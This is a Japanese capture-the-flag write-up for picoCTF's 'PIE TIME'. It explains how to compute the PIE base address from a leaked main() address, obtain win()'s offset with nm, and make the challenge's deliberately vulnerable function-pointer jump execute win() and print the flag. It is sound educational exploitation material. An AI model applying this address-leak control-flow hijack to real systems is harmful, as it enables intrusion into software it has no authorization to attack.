【picoCTF】PIE TIME - PIEのベースアドレス計算で関数アドレスを特定しRIPを乗っ取る

問題概要

picoCTFの「PIE TIME」という問題の解説記事です。

  • カテゴリ: Binary Exploitation
  • 難易度: Easy

問題文

picoCTF PIE TIME

解説

ステップ1: picoCTFのサーバーに接続

まず、問題文に記載されているサーバーに接続します。ncコマンドを使用して、指定されたホストとポートに接続します。
$ nc rescued-float.picoctf.net xxxxx

※ポート番号は問題文に記載されているものを使用してください。



接続すると、以下のように表示されます。

$ nc rescued-float.picoctf.net 65086
Address of main: 0x5ed0810d333d
Enter the address to jump to, ex => 0x12345:

※ポートの番号やアドレスは環境に異なります。


最初に表示される Address of main は、プログラムの main 関数が
実行時に配置されているメモリアドレス を示しています。
PIE(Position Independent Executable)が有効なため、このアドレスは毎回異なりますが、
後述するアドレス計算の基準として利用できます。  
続いて表示される
Enter the address to jump to, ex => 0x12345: は、
ユーザーに対して ジャンプ先のアドレスを直接入力するよう求めている ことを意味します。
入力された値は関数のアドレスとして解釈され、そのアドレスに処理が移動します。


ステップ2: ソースコードの確認

次に、問題で提供されているソースコードvuln.cを確認します。 本問題ではソースコードが提供されているため、まず全体の挙動を把握することが重要です。

セグメントフォールト時の処理

void segfault_handler() {
  printf("Segfault Occurred, incorrect address.\n");
  exit(0);
}

この関数は不正なアドレスにジャンプしたときに呼び出されます。 セグメントフォールトが発生するとこの関数が実行され、エラーメッセージを表示してプログラムを終了します。

つまり、

  • 間違ったアドレス → 失敗、エラーメッセージ表示
  • 正しいアドレス → 関数が実行される

という構造になっていることがわかります。


win関数の挙動

int win() {
  FILE *fptr;
  char c;

  printf("You won!\n");
  // Open file
  fptr = fopen("flag.txt", "r");
  if (fptr == NULL)
  {
      printf("Cannot open file.\n");
      exit(0);
  }

  // Read contents from file
  c = fgetc(fptr);
  while (c != EOF)
  {
      printf ("%c", c);
      c = fgetc(fptr);
  }

  printf("\n");
  fclose(fptr);
}

win関数は、以下の処理を行うようです。

  1. "You won!"と表示
  2. flag.txtファイルを開く
  3. ファイルの内容を1文字ずつ読み取り、表示する
  4. ファイルを閉じる

上記からこの関数を実行させることができれば、フラグを取得できるということが読み取れます。

main関数の挙動

int main() {
  signal(SIGSEGV, segfault_handler);
  setvbuf(stdout, NULL, _IONBF, 0); // _IONBF = Unbuffered

  printf("Address of main: %p\n", &main);

  unsigned long val;
  printf("Enter the address to jump to, ex => 0x12345: ");
  scanf("%lx", &val);
  printf("Your input: %lx\n", val);

  void (*foo)(void) = (void (*)())val;
  foo();
}

以下の部分で、main関数のアドレスを表示しています。

printf("Address of main: %p\n", &main);

以下では、ユーザーからジャンプ先アドレス(16進数)を入力として受け取っています。

printf("Enter the address to jump to, ex => 0x12345: ");
scanf("%lx", &val);
printf("Your input: %lx\n", val);

そして以下で、入力されたアドレスにジャンプしています。

void (*foo)(void) = (void (*)())val;
foo();
この部分が、問題の核心です。
  • 入力された値をポインタにキャスト
  • その関数ポインタを実行
つまり、ユーザーが指定したアドレスにジャンプし、そのアドレスにあるコードを実行します。 このため、win関数の実行時アドレスを特定し、そのアドレスを入力すれば、win関数を実行し、フラグを取得できることがわかります。

ステップ3: win関数のアドレス特定

PIEが有効なバイナリでは、関数のアドレスは実行のたびに変化します。
そのため、main関数のアドレスを基準にして、win関数のアドレスを計算する必要があります。

PIEが有効な場合、各関数のアドレスは次のように決まります。

関数の実行時アドレス = PIEベースアドレス + 関数のオフセット
  • PIEベースアドレス : 実行ごとに変化するプログラムの基準アドレス
  • 関数のオフセット : 常に一定の値で、バイナリ内での関数の位置を示す


ステップ4: 関数のオフセットを調べる

ローカルにダウンロードしたvulnを使って、関数のオフセットを調べます。
$ nm vuln | grep main
000000000000133d T main
s$ nm vuln | grep win
00000000000012a7 T win

この結果から、以下のことがわかります。

  • main関数のオフセット: 0x133d
  • win関数のオフセット: 0x12a7

ステップ5: win関数のアドレス計算

以下の接続時の出力からmain関数のアドレスが0x5ed0810d333dであることがわかっています。
$ nc rescued-float.picoctf.net 65086
Address of main: 0x5ed0810d333d
Enter the address to jump to, ex => 0x12345:

0x5ed0810d333dをもとに、PIEベースアドレスとwin関数の実行時アドレスを計算します。
まず、PIEベースアドレスを計算します。
PIEベースアドレス = main関数の実行時アドレス - main関数のオフセット
                   = 0x5ed0810d333d - 0x133d
                   = 0x5ed0810d2000

次に、win関数の実行時アドレスを計算します。

win関数の実行時アドレス = PIEベースアドレス + win関数のオフセット
                        = 0x5ed0810d2000 + 0x12a7
                        = 0x5ed0810d32a7

ステップ6: win関数のアドレスを入力

最後に、リモート接続時に計算したwin関数のアドレス0x5ed0810d32a7を入力します。
Enter the address to jump to, ex => 0x12345: 0x5ed0810d32a7
Your input: 5ed0810d32a7
You won!
picoCTF{xxxxx}

※フラグはマスクされています。

これで、win関数が実行され、フラグを取得できました。


使用したコマンドの簡単な解説

nc

nc <ホスト名> <ポート番号>
nc(Netcat)は、ネットワーク接続を確立するためのコマンドラインツールです。 このコマンドは、指定されたホストとポート番号に接続します。
これにより、リモートサーバーと通信を行うことができます。

nm

nm <バイナリファイル名>
nmコマンドは、バイナリファイル内のシンボル(関数や変数など)の情報を表示します。
これにより、各シンボルのアドレスやオフセットを確認できます。
ctfでは、関数のオフセットを調べる際に役立ちます。

まとめ

picoCTFの「PIE TIME」問題では、PIEが有効なバイナリに対して、
関数のオフセットを利用してwin関数のアドレスを計算し、フラグを取得しました。
PIEの理解、オフセットの計算、リモート接続の基本的なスキルが求められる問題でした。
▼ポイントは以下の通りです。
  • PIEが有効なバイナリでは、関数のアドレスが実行ごとに変化することを理解する。
  • 関数のオフセットを調べ、PIEベースアドレスを利用して目的の関数のアドレスを計算する。
  • リモート接続時に正しいアドレスを入力し、目的の関数を実行する。

閲覧ありがとうございました!

NEXT
次におすすめ

【picoCTF】heap 0 - ヒープ領域の脆弱な書き込みを悪用してフラグを読む

カテゴリ: Binary Exploitation難易度: Easy#picoCTF
次の記事へ →
同じカテゴリ/難易度/picoCTFでの表示順が近い記事を優先しておすすめしています。